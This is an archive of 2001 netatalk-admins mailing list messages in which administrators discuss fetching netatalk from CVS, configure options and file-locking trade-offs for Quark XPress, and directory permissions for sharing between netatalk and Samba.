	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id BAA06850
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 01:18:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA06840
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 01:18:32 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id BAA06807
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 01:18:30 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000089672; Mon, 16 Jul 2001 07:15:40 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b778282147c5@[192.168.1.201]>
In-Reply-To: <3B4E5D18.B32299FA@htc.net>
References: <20010711115441.I20018-100000@shumai.marcuscom.com>
 <3B4E5D18.B32299FA@htc.net>
Date: Mon, 16 Jul 2001 07:18:17 +0200
To: tbaldwin@htc.net
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 21:29 Uhr -0500 12.07.2001, Troy R. Baldwin wrote:
>What if one does not know how to use CVS? It sure would be nice if there were a regular
>beta release or something we can easily compile and use.


Hi, it's easier than u might think - at least, so it was for me.

If you're working on OSX, just go to versiontracker and look for the application 'CVL'.
Download and install it, then open the repository browser, then

- make a new repository of type 'pserver'.
- host: cvs.netatalk.sourceforge.net
- path: /cvsroot/netatalk
- user: anonymous

Once done (it writes 'logged in') select it and click on 'check out'.

in the upcoming dialog, type 'netatalk' as the module name,
and choose a directory on your X for the source code.

That's it. The most recent code is now on your computer.
I was very reluctant at the beginning 'cause I didn't want to complicate my 'admin life' further... but this actually makes it even simpler :-)

regards,


Lorenzo


>
>Thanks,
>--TRBo
>
>Joe Clarke wrote:
>
>> I submitted a patch to netatalk that "fixes" the AFP problem with opening
>> and copying files in OS X.  The reason I say "fixes" is that it relies on
>> the old DID algorithm.  I have not tried the mtab stuff yet, so I don't
>> know if that will work.
>>
>> Anyway, if you want OS X support with netatalk, download the CVS version
>> from http://sourceforge.net/cvs/?group_id=8642, and configure with the
>> added option --with-did=last.  You should be able to use netatalk with OS
>> X after that.
>>
>> The big goal I think is to find the right way to do DID calculations so
>> that collisions do not exist and DIDs are persistent.  If Apple wants to
>> contribute, that would be great.  I'm not sure if anyone else is currently
>> working on the DID "Rossetta Stone."
>>
>> I'm currently working on porting AFP 3.0 to netatalk.  I have most of the
>> volume and directory code done.  I'm not sure how well this will work, but
>> it should provide for longer filename support.
>>
>> Joe Clarke
>>
>> On Wed, 11 Jul 2001 roger.day@globalgraphics.com wrote:
>>
>> > We tried the 1.5pre6, which is why I was trying that wacky version there.
>> >
>> > The problem with pre6 was that it caused NFS to stop working - authentication
>> > stopped working. Reverting to a previous release fixed this.
>> >
>> > I have a proper description of the problem:-
>> >
>> > <GMT17-May-2001 23:49:56GMT> B.S.:
>> > Problem is that netatlk is not making their fileIDs unique and the AppleShare
>> > client uses those ids for its hash entries. Thats why we are hitting the assert.
>> > I will file a bug against netatalk and also change the AppleShare client so that
>> > it will not assert any more. Although anytime someone tries to do a ResolveID
>> > (not too common, I think), it will get back some indeterminate file and that
>> > will be bad.
>> >
>> > <GMT23-May-2001 21:31:24GMT> B.S.:
>> > Fix is too catch this case and not assert, but to fail the create call with some
>> > error. Real fix is to get an updated netatalk installed on the server. I am
>> > working on getting a fixed netatalk submitted.
>> >
>> > >from here
>> >
>> > http://www.publicsource.apple.com/bugs/X%20Server/AppleShare%20X%20Client/2666595.html
>> >
> > > I can't see any bug filed anywhere on the netatalk site - that's the first place
> > >  I looked.
> > >
> > > Would this be fixed in pre7?
> > >
> > > Another question: why so many pre's?
> > >
> > >
> > >
> > > At 11/07/2001 16:31:48, Jeff <jeff@univrel.pr.uconn.edu> wrote:
>> > #  roger.day@globalgraphics.com wrote:
>> > #  > #  Which version of netatalk are you using?
>> > #  >
>> > #  > The tar file is called pre-asun2.1.4-37b.tar
>> > #  >
>> > #  > it decompresses into a directory called
>> > #  >
>> > #  > netatalk-1.4b2+asun2.1.4
>> > #  >
>> > #  > Is there a deterministic way of finding the version?
>> > #
>> > #  That's version 1.4b2+asun2.1.4. The series on sourceforge is currently
>> > #  at 1.5pre6.
>> > #
>> > #  > #  > This is quite important to us as we're relying on this to try and get
> > > a
>> > #  > product
>> > #  > #  > out shortly.
>> > #  > #  >
>> > #  > #  > We would also like to know -who- is supporting netatalk these days.
>> > I've
>> > #  > heard a
>> > #  > #  > rumour that Apple are looking for a netatalk developer.
>> > #  > #
>> > #  > #  Interesting. Currently most support seems to be via the admin and
>> > #  > #  developer lists.
>> > #  >
>> > #  > This was from someone on the darwin-developers list.
>> > #  >
>> > #  > Also the lack of archive here
>> > http://netatalk.sourceforge.net/mailing_lists.php
>> > #  > for 2000/2001 does give an appearance of cobwebness to the page.
>> > #
>> > #  Sorry about that. The netatalk development is in full swing. Check out
>> > #  http://sourceforge.net/projects/netatalk/ for a little more information
>> > #  on that.
>> > #
>> > #  I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
>> > #  resolves that issue.
>> > #
>> > #  Jeff
>> > #
>> > Roger
>> >
>> >
>> >
>> > _______________________________________________
>> > Netatalk-devel mailing list
>> > Netatalk-devel@lists.sourceforge.net
>> > http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>> >
>> >


From netatalk.administrators-errors@umich.edu  Mon Jul 16 05:07:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA15037
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 05:07:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA26268
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 05:07:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA26264
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 05:07:16 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id FAA26217
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 05:07:10 -0400 (EDT)
Received: (qmail 28199 invoked from network); 17 Jul 2001 05:08:15 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 17 Jul 2001 05:08:15 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: netatalk & quark 4.1 sort of solved
Date: Mon, 16 Jul 2001 19:06:20 +1000
Message-ID: <005401c10dd6$94c42710$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hi all,

after much pain & perseverance, the following config line, startup scripts &
permissions appear to work mostly satisfactorily. Outstanding issues are:

- Network Trash
- Printing
- User level security
- Useful output in messages (--enable-debug is useless), and the standard
output I get has no bearing on the problems I'm experiencing

Configure:

./configure  --prefix=/usr/local/netatalk --mandir=/usr/local/man --sysconfd
ir=/etc/netatalk \
--with-config-dir=/etc/netatalk --with-ssl-dir=/usr/local/openssl --enable-t
imelord \
--enable-lastdid --enable-dropkludge --with-flock-locks

Permissions:
Accessed by guest, nobody.nobody writing files all over the place (eek!)

atalkd.conf
eth0 -phase 2 -net 0-65534 -addr 65280.179

afpd.conf
"Bob" -uamlist uams_guest.so -guestname "nobody"  #grrr.... enable guests to
login

AppleVolumes.default
/wip "WIP"


If anyone is after any specific help then email me off the list, otherwise,
the above will get you a mostly happy netatalk configuration, where Quark
Xpress 4.1 clients can happily open/close/save files etc.

Cheers,

Chris Herrmann
Far Edge Technology

p. 02 99553640
f. 02 99547994
m. 0403 393309
http://www.faredge.com.au


From netatalk.administrators-errors@umich.edu  Mon Jul 16 08:00:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA18431
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 08:00:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA25130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 08:00:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25127
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 08:00:47 -0400 (EDT)
Received: from smtp1.pandora.be (hercules.telenet-ops.be [195.130.132.33])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA25054
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 08:00:34 -0400 (EDT)
Received: (qmail 14839 invoked from network); 16 Jul 2001 12:00:21 -0000
Received: from unknown (HELO luk.noordland.com) ([213.224.59.40]) (envelope-sender <luk.vermeylen@pandora.be>)
          by hercules.telenet-ops.be (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 16 Jul 2001 12:00:21 -0000
Content-Type: text/plain;
  charset="iso-8859-1"
From: Luk Vermeylen <luk.vermeylen@pandora.be>
To: <netatalk-admins@umich.edu>
Subject: permissions
Date: Mon, 16 Jul 2001 13:59:50 -0400
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01071613595000.03981@luk.noordland.com>
Content-Transfer-Encoding: 8bit

Can someone give me a good example for file sharing with netatalk?
I want to share a directory (/data/design/) between samba and netatalk
the group graphics has total acces to the dir, the group staf only read 
permissions.
How do i have to set the line in my applevolumes file?
And how do i have to set the rights under linux for the directory?

Thanks

Now i'm having problems to copy directories with subdirs to the server. He 
copies only the basic dir, when you try again, he makes the sub dirs, but 
doen't copies the files.

 
-- 
Luk Vermeylen
Putsebaan 84
2040 Antwerpen 4
luk.vermeylen@pandora.be
+32(0)32950012

From netatalk.administrators-errors@umich.edu  Mon Jul 16 08:35:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA19525
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 08:35:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA04823
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 08:35:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04818
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 08:35:39 -0400 (EDT)
Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA04804
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 08:35:38 -0400 (EDT)
Received: from [192.168.1.10] (h0050e4e65769.ne.mediaone.net [24.91.224.20])
	by chmls05.mediaone.net (8.11.1/8.11.1) with ESMTP id f6GCZka15973;
	Mon, 16 Jul 2001 08:35:47 -0400 (EDT)
Mime-Version: 1.0
Message-Id: <a05100304b7788df789dc@[192.168.1.10]>
In-Reply-To: <01071613595000.03981@luk.noordland.com>
References: <01071613595000.03981@luk.noordland.com>
Date: Mon, 16 Jul 2001 08:30:59 -0400
To: Luk Vermeylen <luk.vermeylen@pandora.be>, <netatalk-admins@umich.edu>
From: Michelle Murrain <michelle@murrain.net>
Subject: Re: permissions
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 1:59 PM -0400 7/16/01, Luk Vermeylen wrote:
>Can someone give me a good example for file sharing with netatalk?
>I want to share a directory (/data/design/) between samba and netatalk
>the group graphics has total acces to the dir, the group staf only read
>permissions.
>How do i have to set the line in my applevolumes file?
>And how do i have to set the rights under linux for the directory?
>
>Thanks
>
>Now i'm having problems to copy directories with subdirs to the server. He
>copies only the basic dir, when you try again, he makes the sub dirs, but
>doen't copies the files.


My understanding is that as long as the permissions are set properly 
for the directory and files, you don't need to do anything special 
for samba or netatalk. The caviat is that you do need to make sure 
that the default way that files are written works properly (like if 
you want to have the files group-writeable). That functionality is in 
the samba configs - I don't know about how to work that in netatalk.

Make the directory owned by whoever, group graphics, and make the 
files group-writeable/readable, and only world-readable. That means 
that everyone can read, but only graphics can write.

For Linux, the commands chown (to change ownership) chgrp (to change 
groups) and chmod (to change permissions) are the ones you need. Just 
look at the man pages for info on those.

Michelle
-- 
---------------------------------------
Michelle Murrain, Ph.D.
tech@murrain.net

From netatalk.administrators-errors@umich.edu  Mon Jul 16 08:59:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA20429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 08:59:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA04996
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 08:59:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04983
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 08:59:06 -0400 (EDT)
Received: from mmb.bme.wisc.edu (mmb.bme.wisc.edu [144.92.12.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA04960
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 08:59:05 -0400 (EDT)
Received: from localhost (hzeringu@localhost)
	by mmb.bme.wisc.edu (8.9.3/8.9.3) with ESMTP id IAA18554;
	Mon, 16 Jul 2001 08:03:50 -0500
Date: Mon, 16 Jul 2001 08:03:50 -0500 (CDT)
From: Henry Gripp Zeringue <hzeringu@mmb.bme.wisc.edu>
To: Luk Vermeylen <luk.vermeylen@pandora.be>
cc: <netatalk-admins@umich.edu>
Subject: Re: permissions
In-Reply-To: <01071613595000.03981@luk.noordland.com>
Message-ID: <Pine.LNX.4.30.0107160758420.18517-100000@mmb.bme.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 16 Jul 2001, Luk Vermeylen wrote:

> Can someone give me a good example for file sharing with netatalk?
> I want to share a directory (/data/design/) between samba and netatalk
> the group graphics has total acces to the dir, the group staf only read
> permissions.
> How do i have to set the line in my applevolumes file?
> And how do i have to set the rights under linux for the directory?

AppleVolumes.default:
/data/design	allow:@group1		share_name

sippit from "ls -l /"
drwxrwxr-x  21 root    group1	4096 Apr 26 22:26 data

It seems you have to make the parent directory of the directory you want
to share owned by the group you want to share it to (I know it sounds
confusing). So you should make sure everyone you want to be able to access
a certain share is part of the same group...

-gripp



>
> Thanks
>
> Now i'm having problems to copy directories with subdirs to the server. He
> copies only the basic dir, when you try again, he makes the sub dirs, but
> doen't copies the files.
>
>
>

-- 
---------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Office:	(608)262-8212
1410 Engineering Dr.	Lab:	(608)262-3013
Madison, WI 53706-1608	Fax:	(608)265-9239
hzeringu@cae.wisc.edu
---------------------------------------------



From netatalk.administrators-errors@umich.edu  Mon Jul 16 09:35:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA21754
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 09:35:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA24515
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 09:35:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA24504
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 09:35:06 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA24466
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 09:35:05 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA29696;
	Mon, 16 Jul 2001 15:33:29 +0200
Message-ID: <3B52ED2B.62125376@euc.de>
Date: Mon, 16 Jul 2001 15:33:30 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Michelle Murrain <michelle@murrain.net>
CC: Luk Vermeylen <luk.vermeylen@pandora.be>, netatalk-admins@umich.edu
Subject: Re: permissions
References: <01071613595000.03981@luk.noordland.com> <a05100304b7788df789dc@[192.168.1.10]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA21754

hmm

for netatalk you should do the following:
afpd.conf
"<server>" -port 12000 -uampath /etc/atalk/uams/ -nlspath
/etc/atalk/nls/ 

AppleVolumes.default
/data2/transfer/ "dosenwelt" codepage:maccode.iso8859-1 [allow:group1,
user1 deny:@group2,user2]


you should set the shared directory to
chown -R nobody <directory>
chgrp -R <users> <directory>
chmod -R 2775 *

for Samba you shoud set the <directory> like this

[dosenweltt]
   comment = Heimatverzeichnis
   browseable = yes
   read only = no
   force create mode =0777
   force directory mode = 0777
   inherit permissions = yes
   directory security mask = 0777
   path = <directory>
   character set = ISO8859-1

..
the second question depends on the netatalk versio you are using :)

Michelle Murrain wrote:
> 
> At 1:59 PM -0400 7/16/01, Luk Vermeylen wrote:
> >Can someone give me a good example for file sharing with netatalk?
> >I want to share a directory (/data/design/) between samba and netatalk
> >the group graphics has total acces to the dir, the group staf only read
> >permissions.
> >How do i have to set the line in my applevolumes file?
> >And how do i have to set the rights under linux for the directory?
> >
> >Thanks
> >
> >Now i'm having problems to copy directories with subdirs to the server. He
> >copies only the basic dir, when you try again, he makes the sub dirs, but
> >doen't copies the files.
> 
> My understanding is that as long as the permissions are set properly
> for the directory and files, you don't need to do anything special
> for samba or netatalk. The caviat is that you do need to make sure
> that the default way that files are written works properly (like if
> you want to have the files group-writeable). That functionality is in
> the samba configs - I don't know about how to work that in netatalk.
> 
> Make the directory owned by whoever, group graphics, and make the
> files group-writeable/readable, and only world-readable. That means
> that everyone can read, but only graphics can write.
> 
> For Linux, the commands chown (to change ownership) chgrp (to change
> groups) and chmod (to change permissions) are the ones you need. Just
> look at the man pages for info on those.
> 
> Michelle
> --
> ---------------------------------------
> Michelle Murrain, Ph.D.
> tech@murrain.net

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Mon Jul 16 12:58:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13291
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 12:58:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA14833
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 12:58:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14805
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 12:58:10 -0400 (EDT)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [206.82.16.51])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA14717
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 12:58:08 -0400 (EDT)
Received: from pegmatite.iu13.k12.pa.us (pegmatite.iu13.k12.pa.us [172.19.5.97])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id MAA14236;
	Mon, 16 Jul 2001 12:58:06 -0400
Received: from localhost (localhost [127.0.0.1])
        by pegmatite.iu13.k12.pa.us  with ESMTP id f6GGw5503310;
        Mon, 16 Jul 2001 12:58:05 -0400
Date: Mon, 16 Jul 2001 12:58:05 -0400 (EDT)
From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
To: Chris Herrmann <chris@faredge.com.au>
cc: <netatalk-admins@umich.edu>
Subject: Re: netatalk & quark 4.1 sort of solved
In-Reply-To: <005401c10dd6$94c42710$c40e8ec6@faredge.com.au>
Message-ID: <Pine.LNX.4.33.0107161250120.2330-100000@pegmatite.iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 16 Jul 2001, Chris Herrmann wrote:

> ./configure  --prefix=/usr/local/netatalk --mandir=/usr/local/man --sysconfd
> ir=/etc/netatalk \
> --with-config-dir=/etc/netatalk --with-ssl-dir=/usr/local/openssl --enable-t
> imelord \
> --enable-lastdid --enable-dropkludge --with-flock-locks

--with-flock-locks disables byte-locks and enables the old locking style,
which essentially disables locking (it seemed totally broken to me under
Linux).  So thats why Quark works - nothing is being locked.

(And it looks like the email I had drafted to send you is still sitting in
my draft folder so here's the gist of it)

Quark with --flock-locks works but byte-locking doesn't.
Byte-locking works with fcntl style locks but Quark doesn't.

If Quark is your only priority, use --with-flock-locks.  If byte-locking
is more important, you'll get fcntl locks if you specify no locking scheme
and more than one person won't be open a file read/write at the same time.
For me, Quark users are a minority here so I opted for byte-locking but
your situation may be different.

For anyone searching the archives and finding this listed:

NB the caveats involved with using --with-flock-locks.


Kevin
-- 
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140




From netatalk.administrators-errors@umich.edu  Mon Jul 16 15:40:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23269
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 15:40:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA27728
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 15:40:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA27686
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 15:40:23 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA27629
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 15:40:21 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f6GJeKh05159
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 21:40:20 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f6GJe2G12191
	for netatalk-admins@umich.edu; Mon, 16 Jul 2001 21:40:02 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 15MECO-0000q0-00; Mon, 16 Jul 2001 21:38:32 +0200
Date: Mon, 16 Jul 2001 21:38:32 +0200
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
Message-ID: <20010716213832.A3186@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu,
	netatalk-devel@lists.sourceforge.net
References: <20010714143005.J4469-100000@shumai.marcuscom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010714143005.J4469-100000@shumai.marcuscom.com>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sat, Jul 14, 2001 at 02:30:31PM -0400, Joe Clarke wrote:

> Let's do it, then.

Ok, what should we do and where do we find the current version?

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Jul 16 17:52:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA29250
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 17:52:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA28092
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 17:52:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA28081
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 17:52:55 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA28051
	for <netatalk-admins@umich.edu>; Mon, 16 Jul 2001 17:52:54 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f6GLqjf65900;
	Mon, 16 Jul 2001 17:52:45 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Mon, 16 Jul 2001 17:52:45 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
cc: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
In-Reply-To: <20010716213832.A3186@jroger.in-berlin.de>
Message-ID: <20010716175153.X65896-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Should we put the webpage in CVS?  We can track things that way.  I have
no problem doing it that way.  We already have commit access.

Joe Clarke

On Mon, 16 Jul 2001, Sebastian Rittau wrote:

> On Sat, Jul 14, 2001 at 02:30:31PM -0400, Joe Clarke wrote:
>
> > Let's do it, then.
>
> Ok, what should we do and where do we find the current version?
>
>  - Sebastian
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Mon Jul 16 20:40:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA03652
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 16 Jul 2001 20:40:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA16292
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 16 Jul 2001 20:40:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA16282
	for netatalk.administrators-members@umich.edu; Mon, 16 Jul 2001 20:40:22 -0400 (EDT)
